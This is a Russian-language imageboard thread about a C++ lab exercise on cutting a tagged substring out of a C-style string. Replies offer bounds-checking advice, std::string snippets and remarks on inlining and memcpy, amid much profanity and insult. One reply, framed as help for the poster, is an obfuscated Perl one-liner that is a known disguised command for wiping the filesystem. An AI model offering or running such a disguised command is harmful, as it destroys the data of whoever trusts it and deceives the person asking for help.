>>198289001 (OP)> Почему эта хуйня не работает анон помогиПотому что ты проебался с логикой перестановок> Бампает каждые 20 секундОй, да иди ты на хуй, не буду ничего больше говорить
>>198289001 (OP)>использует C-style строки в С++>не знает про функцию strstr>не знает про memmove >не создал новую строку куда скопировал бы все символы кроме нужных Переводись на филфак.
>>198289639Может у ОПа ЛАБА? У меня в универе было подобное (на первом курсе), работа со строками без стандартных функций
>>198289001 (OP)Если ты пишешь лабы, то пока есть время - учись правильному: then выделяй скобками и переносами на новую строку, в for не пихай всякую вычисляемую хуйню в которой ты и налажал
А в каком месте ты ловишь закрывающиц тег? И что будет, если почледним элементом твоей строки входной будет < >>198289080?
>>198289001 (OP)Не уверен, что оно работает, но по крайней мере ближе к решению задачи.хотя что мешало выделить память под еще одну строку? Скоростное олимпиадное программирование?
>>198291129Спасибо большое, анон. Работает всё как надо, свою ошибку понял/treadАбу благословил этот пост.
>>198291477>Абу благословил этот пост.Это Абу что ли спрашивал как кодить? Не удивительно, что периодически двощу приходит пиздец.
>>198289257Потому что надо работать с экземпляром строки. Си и производные не умеют на лету работать со строками, вернее массивами символов.char \*str1[] = &str;Дальше выполняй операции над вновь созданной переменной.
>>198292724Пиздец конечно. Молодец байтоёб, но за тебя давно уже всё написали. В стандартной либе есть овердохуя библ для работы с подстрокой, поиском по индексу, регулярки опять таки...
>>198293228Ключевое слово inline для компилятора (если это только не какое-то древнее говно или микроконтроллер) не значит нихуя. Майкрософт например всё кроме __forceinline просто игнорирует. > The insertion (called inline expansion or inlining) occurs only if the compiler's cost/benefit analysis show it to be profitable. Inline expansion alleviates the function-call overhead at the potential cost of larger code size.
>>198293331ОП пишет лабу. Задание запрещает использовать стандартные функции работы со строками и предполагает что ты их напишешь сам.
>>198293388Возможно, Вы хотели сказать: выход за пределы массива при невыполнении условий защита в сделку не входила.Где ты там переполнение стека нашел я не знаю.
>>198292724Настоящий байтоёбище утилизировал бы конвеер процессора для копипасты байтов. И/или копипастил байты сразу чанками по 4 или 8 байт.Потом, в худшем случае у тебя тут получается 7 прогонов по всем байтам исходной строки.Труъ лумпиадники захуячили бы суффиксный автомат (в который внесены терминальные строки для начала/конца вырезания) и за 2 прогона по всем байтам нарезали бы строку. Это бы, кроме того, позволило бы обрабатывать произвольное количество операций вырезки в составе исходной строки.
Потому что в C++ применен передовой метод работы со строками (по состоянию на 1968 год).То, что в современных языках делается в полстроки, в крестах делается в 10 строк.Никто сейчас в здравом уме не будет юзать стандартное копроговно для данной задачи.Все, кто вынужден прогать на C++, юзают тонны фреймворков для выполнения любого пука. Даже коллекции стандартные не используют.Потому что в рот ебали думать о настолько низкоуровневой хуйне.
>>198289001 (OP)Ну навскидку могу сказать такое, вот у тебя i = длина строки, а ты в ифе берёшь и там делаешь str[i+1], str[i+2] а это выход за границу массива.
>>198293955Стандартные коллекции не используют в основном не из-за "их низкоуровнести" и то в значительном количестве мест используют, так как это не тащит лишние зависимости ради любого пука.
>>198293955>То, что в современных языках делается в полстроки, в крестах делается в 10 строк.std::string s = "its<k>hui<o> res";std::string result1 = s.substr(s.find("<k>"));std::string result = result1.substr(result1.find("<0>"));
>>198294457Нет, направление разное. В данном случае с учетом того, что строка сама по себе инициализируется на стеке будет верным только повреждение данных стека, и это только в случае отсутствия закрывающего тега в строке, но его наличие где-то ниже по стеку. Если такого не будет, приложение просто обвалится, запросив данные за границей доступного блока памяти за стековым хвостом.Переполнение легко словить в рекурсии.
>>198291129>3 цикла, когда можно сделать всё за одинХуею с этих макак, потом они еще мнят себя программистами, которые пишут высокопроизводительные приложения. мимо C# господин
>>198295556В том и дело, что стабильность и производительность зависит от программиста, а не от софта. Но макаки с искрой в глазах учат C++ и думают, что смогут написать хоть что-то стоящее.
>>198293924> Настоящий байтоёбище утилизировал бы конвеер процессора для копипасты байтов. И/или копипастил байты сразу чанками по 4 или 8 байт.Нет гарантий по выравниванию.В остальном согласен.
>>198296121memcpy можно заюзать просто, а так некратные конечные байты обычно внешним циклом дообрабатывают.
Эй двач вы тупые чмохи неудачники сидящие на шее у своей мамки хахахах будете щас тут отвечать мне гневно писать пытаться троллить а мне похуй я сюда дрочить прихожу я даже не увижу ваших высеров вас просто не существует, жалкие пидорашки
>>198296255Следующая строка и есть тело циклаУсловий может вообще не быть тогда это бесконечный цикл, может быть неплолное, если не нужно приращение, как здесь.
>>198296269Дело не в некратных байтах.1. Смещение может быть меньше 4 байт.2. Никакого профита от копирования блоками по 4 или 8 байт ты не получишь если смещение не кратно 4 или 8.
>>198289001 (OP)> Почему эта хуйня не работает анон помогиecho "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
>>198297231Лол, сейчас вгляделся и понял, что там действительно нет выходаСкорее всего, ОП в этот цикл и не заходил
>>198298810ты спецом байтоебством занимаешься или что? Если настолько нехуй делать - писал бы тогда не поиск по ебучей строке, а преобразование фурье какое-нибудь, там просто и в кватернионах, если уж на память дрочишь
>>198293523>Упражнение по C++>C-строки>В тысячный раз переизобретать велосипед, вместо изучения настоящих вещейПиздец шарага, сочувствую ОП-хую.
>>198302388камон, это же просто задачки на базу. поиск по строке (а как ты будешь делать кастомный парсер?)
поскольку вечереет, а в тред продолжают поступать решения задачи, я все же спрошу, "нужно удалить всё что между <k> и <o> включительно" это значит что - надо вернуть подстроку между <k> и <o>, или - надо вернуть строку, которая получится после удаления из аргумента подстроки с <k> <o> и тем что между ним?
>>198305089>- надо вернуть строку, которая получится после удаления из аргумента подстроки с <k> <o> и тем что между ним? Это.
>>198305936Не вижу смысла делать это как-то не так бла-бла-бла, накладываем доп условие, что эту медиану надо искать не квантиллиард раз в секунду:typedef double ValueType;std::vector<ValueType> vals = {a, b, c};std::sort(vals.begin(), vals.end());return vals.at(vals.size() / 2);